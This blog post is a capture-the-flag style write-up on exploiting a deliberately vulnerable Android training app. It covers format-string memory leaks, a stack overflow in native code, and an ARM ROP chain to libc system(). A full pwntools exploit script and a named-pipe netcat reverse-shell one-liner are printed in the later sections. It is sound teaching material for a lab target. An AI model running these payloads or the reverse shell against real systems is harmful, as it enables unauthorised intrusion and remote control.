[MENU] | |||||||||
[THOUGHTS] | [TECH RESOURCES] | [TRASH TALK] | |||||||
[DANK MEMES] | [FEATURED ARTISTS] | [W] |
Hello guys! It's been a while. I hope you all are enjoying the summer. I had a great holiday for the first time in years. Before the holiday, I've had my eye on the challenge that is published by mobilehackinglab.com, Umit Aksu. Came back and worked on this enjoyable challenge. This challenge covers format string and stack overflow vulnerabilities.
Im taking shortcuts in here, you guys already know about jadx,apktool etc. The challenge has one activity and looks like we have a server and external functions.
- public static final int SERVERPORT = 6000;
- // External Functions from native library...
- public native String leakMemory(byte[] bArr);
- public native void overFlow(byte[] bArr, int i);
- public native String stringFromJNI();
- static {
- System.loadLibrary("native-lib");
- }
- this.output.write(MainActivity.this.leakMemory(data).getBytes("ISO_8859_1"));
The activity gets 1024 length bytes from remote connection, then the input goes into leakMemory() function as the first parameter and prints out the data to remote.
- mainActivity.overFlow(data, mainActivity.readBytes)
Then, the data also goes into overFlow function as firm parameter, second parameter is the length of the data, I assume. (I did not check it) Let's look at the native library.
Whenever I open something in IDA or Cutter, my CTF sense always tingles. Oftenly, I just look up the string table if there are something useful. For this time, I found these strings;
- - You won!
- - EXPLOITSTATUS
When I checked the x-refs I found this function (disasm /w rizin-ghidra);
- void printLog()(void) // 0x00018e70
- {
- int16_t var_8h;
-
- // printLog()
- __android_log_print(2, "EXPLOITSTATUS", "You won! ");
- return;
- }
This function has no params and does not get called at anywhere. So, I think that our goal is we need to return to this address, somehow? idk. It would be more clear if I just went directly to overFlow and leakMemory functions, right? (lol) Let's do the right thing and look at first function!
I tried to rename called functions and trimmed the function a little bit;
- _data = arg1;
- _s = 0;
- uVar2 = GetByteArrayElements(_data, _var_14h, &var_49h);
- snprintf(&s, 0x28, uVar2);
- // For recall: snprintf(char *s,
- // size_t size,
- // const char *format,
- // va_list args);
- basic_string(&var_20h, &s);
- iVar1 = _data;
- uVar2 = fcn.00008fd8((int16_t)&var_8h + -0x18);
- uVar2 = NewStringUTF(iVar1, uVar2);
- basic_string_2(&var_20h);
The function gets the supplied input into snprintf which is vulnerable to format string attack. This vulnerability can lead to arbitrary write and read data at a random address. Let's test it from our emulator then!
- generic:/ $ nc localhost 6000
- Welcome to Damn Exploitable Android App!%p %p %p %p %p %s
- 0xb3332252 0x0 0xb1bac700 0x0 0x85b0400
Nice! Let's find out what mainActivity.overFlow(data, mainActivity.readBytes) does.
- // trimmed ...
- _var_18h = (int32_t)arg4;
- _array_type = (int32_t)arg3;
- _var_10h = (int32_t)arg2;
- _data = (int32_t)arg1;
- uVar1 = GetByteArrayElements(_data, _array_type, &uStack_19);
- _cp(uVar1, _var_18h);
-
- // What _cp does?
-
- void cp(char *param_1,int param_2){
- undefined auStack_d8 [200];
- int local_10;
- char *local_c;
-
- local_10 = param_2;
- local_c = param_1;
- __aeabi_memclr(auStack_d8,200);
- if ((((0 < local_10) && (*local_c == '0')) && (local_c[1] == 'x')) &&
- ((local_c[2] == 'f' && (local_c[3] == 'a')))) {
- __aeabi_memcpy(auStack_d8,local_c,local_10);
- }
- return;
- }
- 1) Checks if the second param is greater than > 0
- 2) Checks if the data starts with 0xfa
- 3) Copies the data to stack without checking the size
Verify this behaviour with an input starts with "0xfa" and a lot of strings. Logcat shows this SIGSEGV;
- 07-09 03:11:59.964 23942 23942 F DEBUG : pid: 23900, tid: 23929, name: Thread-3 >>> com.example.mynativetest
- 07-09 03:11:59.965 23942 23942 F DEBUG : signal 11 (SIGSEGV), code 2 (SEGV_ACCERR), fault addr 0x41414140
- 07-09 03:11:59.965 23942 23942 F DEBUG : r0 9affff78 r1 abb8fe68 r2 00000001 r3 0000000a
- 07-09 03:11:59.966 23942 23942 F DEBUG : r4 b5b7e194 r5 9b0003a8 r6 9b000178 r7 41414141
- 07-09 03:11:59.966 23942 23942 F DEBUG : r8 9b000178 r9 b1bac200 sl 00000000 fp 9b000104
- 07-09 03:11:59.966 23942 23942 F DEBUG : ip 40000000 sp 9b000050 lr b1d01e63 pc 41414140 cpsr 00000030
- 07-09 03:11:59.976 23942 23942 F DEBUG :
Yeah, pretty much about it. Let's review our findings so far. What we need for successful exploitation?
- 1) Memory leaks (We can leak bunch of memory addresses with format string vulnerability!)
- 2) Arbitrary Read/Write (We can overflow the stack then overwrite known addresses!)
- 3) IP Control (We also already have it!)
Before diving deep into memory kung-fu, we also have a more simple goal. Let's try to jump to winner function.
With the help of beatiful plugin "peda-arm", we can easily interrupt the application and look where the library is located in memory;
- peda-arm > vmmap libnative
- Start End Perm Name
- 0xb1cf9000 0xb1d12000 r-xp /data/app/com.example.mynativetest-1/lib/arm/libnative-lib.so
- 0xb1d12000 0xb1d14000 r--p /data/app/com.example.mynativetest-1/lib/arm/libnative-lib.so
- 0xb1d14000 0xb1d15000 rw-p /data/app/com.example.mynativetest-1/lib/arm/libnative-lib.so
We also can brute-force manually little bit what-is-where with format string vulnerability.
I picked the %26$p value which is (also verified in another session)
- $26 := 0xa96e3398 && $26 = 0xb1be3398
- For both values above;
-
- In [11]: hex(0xb1bf4000 - 0xb1be3398)
- Out[11]: '0x10c68'
-
- In [13]: hex( 0xa96f4000 - 0xa96e3398)
- Out[13]: '0x10c68'
So bingo! We found our first consistent gem for calculating where the library memory is mapped. But I could not manage to print that memory region, I mean my "arm-none-eabi-gdb" was not printing(x/i) true assembly lines, so I searched for the bytes to be sure.
- peda-arm > searchmem "\x6f\x46" 0xa96f4000 0xa9710000 # it's: 00018e72 6f 46 mov r7,sp
- [*] Searching for 'oF' in range: 0xa96f4000 - 0xa9710000
- Found 113 results, display max 113 items:
- ....
- libnative : 0xa96fce72
- In [20]: hex( 0xa96fce72 - 0xa96f4000)
- Out[20]: '0x8e72'
Finally, do we need all the information for the quick win? Let's see about that. I prepared my payload like this;
- junk = b"0xfa" # it's the string that binary looks for.
- junk += b"\x42" * 208 # two more bytes
- # 00018e6c 34 b0 add sp,#0xd0
- # 00018e6e 80 bd pop {r7,pc}
- r.sendline(junk+printlog_address)
Yey! Got the easy one.
With the power of free memory leaks, sure that we can do something better than this. To make it easier to use those and figure out what leaked memories are holding, I just printed out the values as much I can;
- def find_interesting_addr():
- for i in range(0, 0xff):
- response = getleak(i).decode()
- if response != "0x0" and not response in unique_leaks:
- unique_leaks.append(response)
-
- print(f"${i} := {response}")
And the output was something like this;
- $0 := $p
- $1 := 0xa5032252
- $3 := 0xa46a2200
- $5 := 0x8c407c00
- $8 := 0x8c409400
- $9 := 0x1fd1070
- $23 := 0x8c5ff4c0
- $24 := 0x8c5ff4bc
- $25 := 0x98d86560
- $26 := 0xa38e3398
- $27 := 0x9dbf8c5f
- $28 := 0xa789b104
- $31 := 0x12c7f160
- $32 := 0x12cac800
- $34 := 0x12c9d190
- $35 := 0x1b12c7
- ...
So I attached gdb again, looked them what they are. I made a offset list to be more consistent. The stack leak was consistent enough, it was at %23$p. The other possible offsets are;
- maybe_nativelib_base = {
- "26": 0x10CD8 - 0x98,
- "55": 0x10CD8 - 0x70, # sometimes gdb breaks the alignment, idk.
- "60": 0x10CD8,
- }
-
- maybe_libc_base = {
- "95": 0x56999,
- "113": 0x61079,
- "121": 0x614A5,
- "185": 0x61AE5,
- }
With these leaks, we can know where the stack/libc/libnative-lib/ is. What do we need next? Yeah Gadgets!
Unlike the previous call of printLog, surely we will need to call something more advanced, especially libc's system. system() function has only one parameter, which is getting that parameter from $r0 register. We need to also set $r0 to an address which holds command string. So, we can use the +0x70470 without any side effects below;
- (libnative-lib.so/ELF/ARM)> search /1/ %pop {r0, pc}
- [INFO] Searching for gadgets: %pop {r0, pc}
- [INFO] File: libc.so
- 0x0007046c: cmnmi r0, #0; pop {r0, pc};
- 0x00070470: pop {r0, pc};
What are the choices to achieve getting a shell?
- 1) Directly getting system("/bin/sh") is not available because of the threading.
- 2) We are sandboxed, we can not touch other things in filesystem.
- 3) Making some memory pages executable with mprotect() then jump back in?(did not try it yet)
- 4) We have ncat mknod and our application sandboxed directory, so the challenge becomes a pentest challenge (lol)
I chose the 4th one, and then created my payload like this;
- # one liner sh solution, thx to PayloadsAllTheThings!
- /system/bin/rm -f /data/data/com.example.mynativetest/f; /system/bin/mknod /data/data/com.example.mynativetest/f p;/system/bin/cat /data/data/com.example.mynativetest/f|/system/bin/sh -i 2>&1|/system/xbin/nc localhost 4444 >/data/data/com.example.mynativetest/f
Note: Beware the "nc localhost 4444" command. I did "adb reverse tcp:4444 tcp:4444" to avoid networking issues. The port can be handled from the host machine.
I put this shell command string into stack. Since I know where the stack is already, I can calculate it's relative address without hesitation. Finally, our payload became something like this;
- payload = (pop_r0_pc
- + p32(remote_shell_code_addr)
- + p32(system)
- + remote_shell_code
- )
- 0) nc -nvlp 4444 on the host machine
- 1) Get libc leak (try each offset 95,113,121,185)
- 2) Get stack leak (from %23$p)
- 3) Send the payload
- #!/usr/bin/env python
- from pwn import *
- import warnings
- from sys import exit
-
- warnings.filterwarnings("ignore", category=BytesWarning)
- context.binary = "/home/dante/dbgtmp/libnative-lib.so"
- context.arch = "arm"
-
-
- # adb -a noademon server start
- # adb forward tcp:6000 tcp:6000
- # adb remote tcp:4444 tcp:4444 to get rid of routing problems
- # adb shell am start -N com.example.mynativetest/.MainActivity
- remote_shell_code = b"/system/bin/rm -f /data/data/com.example.mynativetest/f;/system/bin/mknod /data/data/com.example.mynativetest/f p;/system/bin/cat /data/data/com.example.mynativetest/f|/system/bin/sh -i 2>&1|/system/xbin/nc localhost 4444 >/data/data/com.example.mynativetest/f\x00"
-
- # test with touch if the command is working
- # remote_shell_code = b"/system/bin/touch /data/data/com.example.mynativetest/exampl\x00"
- SRV = "192.168.184.1"
- PORT = 6000
- r = remote(SRV, PORT)
-
- native_lib = ELF("/home/dante/dbgtmp/libnative-lib.so")
- libc_lib = ELF("/home/dante/dbgtmp/libc.so")
-
- maybe_nativelib_base = {
- "26": 0x10CD8 - 0x98,
- "55": 0x10CD8 - 0x70,
- "60": 0x10CD8,
- }
-
- maybe_libc_base = {
- "95": 0x56999,
- "113": 0x61079,
- "121": 0x614A5,
- "185": 0x61AE5,
- }
-
- unique_leaks = list()
- # get header
- r.recvuntil("Welcome to Damn Exploitable Android App!")
-
-
- def getleak(idx):
- r.clean(0.1)
- r.sendline(f"%{idx}$p")
- the_leak = r.recvline()[:-1]
- return the_leak
-
-
- def send_line(payload):
- log.info(f"payload := {repr(payload)}")
- r.send(payload)
- return r.recv()
-
-
- def ooverflow_to_win(payload):
- sled = b"0xfa" # it's the string that binary looks for.
- sled += b"\x41" * (208)
- sled += payload
- r.send(sled)
-
-
- def find_interesting_addr():
- for i in range(0, 120):
- response = getleak(i).decode()
- if response != "0x0" and not response in unique_leaks:
- unique_leaks.append(response)
-
- print(f"${i} := {response}")
-
-
- def winner():
- nativelib_base = 0xFFF
-
- for addr, offset in maybe_nativelib_base.items():
- response = getleak(int(addr)).decode()
- nativelib_base = int(response, 16) + offset
- if (nativelib_base & 0xFFF) == 0x0:
- break
-
- if (nativelib_base & 0xFFF) == 0x0:
- native_lib.address = nativelib_base
- else:
- log.failure(f"Something is wrong! {hex(native_lib.address)}")
- exit(1)
-
- winner_function_addr = p32(native_lib.symbols["_Z8printLogv"])
-
- print(f"libnative-lib.so base: {hex(nativelib_base)}")
- print(f"winner_function_addr: {hex(u32(winner_function_addr))}")
- strn = ooverflow_to_win((winner_function_addr))
-
- print(r.recv())
-
-
- def real_deal():
- r.can_recv()
- nativelib_base = 0xFFF
- libc_base = 0xFFF
- for addr, offset in maybe_nativelib_base.items():
- response = getleak(int(addr)).decode()
- nativelib_base = int(response, 16) + offset
- print(hex(nativelib_base))
- if (nativelib_base & 0xFFF) == 0x0:
- break
-
- if (nativelib_base & 0xFFF) == 0x0:
- native_lib.address = nativelib_base
- else:
- log.failure(f"Native lib base: Something is wrong! {hex(native_lib.address)}")
- exit(1)
-
- for addr, offset in maybe_libc_base.items():
- response = getleak(int(addr)).decode()
- libc_base = int(response, 16) - offset
- if (libc_base & 0xFFF) == 0x0:
- break
-
- if (libc_base & 0xFFF) == 0x0:
- libc_lib.address = libc_base
- else:
- log.failure(f"Libc lib base: Something is wrong! {hex(libc_lib.address)}")
- print(hex(libc_base))
- exit(1)
-
- response = getleak(int(23)).decode()
- remote_shell_code_addr = int(response, 16) + (0x28 - 0x50)
-
- #bin_sh = next(libc_lib.search(b"/system/bin/sh"))
- #log.info(f"bin/sh: {hex(bin_sh)}")
- system = libc_lib.symbols["system"]
-
- log.info(f"libnative-lib.so base: {hex(nativelib_base)}")
- log.info(f"libc.so base: {hex(libc_base)}")
- log.info(f"system: {hex(system)}")
- log.info(f"remote_shell_code_addr: {hex(remote_shell_code_addr)}")
-
- pop_r0_pc = p32(libc_lib.address + 0x00070470) # 0x00070470: pop {r0, pc};
- payload = pop_r0_pc + p32(remote_shell_code_addr) + p32(system) + remote_shell_code
- ooverflow_to_win(payload)
- r.interactive()
-
-
- def main():
- # find_interesting_addr()
- # winner()
- real_deal()
-
-
- if __name__ == "__main__":
- main()
References & Links
- 1) https://github.com/mobilehackinglab/damn-exploitable-android-app-public-apk/
- 2) https://www.mobilehackinglab.com/blog/damn-exploitable-android-app
- 3) https://azeria-labs.com/return-oriented-programming-arm32/
- 4) https://infosecwriteups.com/rop-chains-on-arm-3f087a95381e
- 5) https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md#netcat-busybox
- 6) https://blog.3or.de/arm-exploitation-defeating-dep-executing-mprotect.html
Thank you for reading my write-up! Have a nice day absolute legends!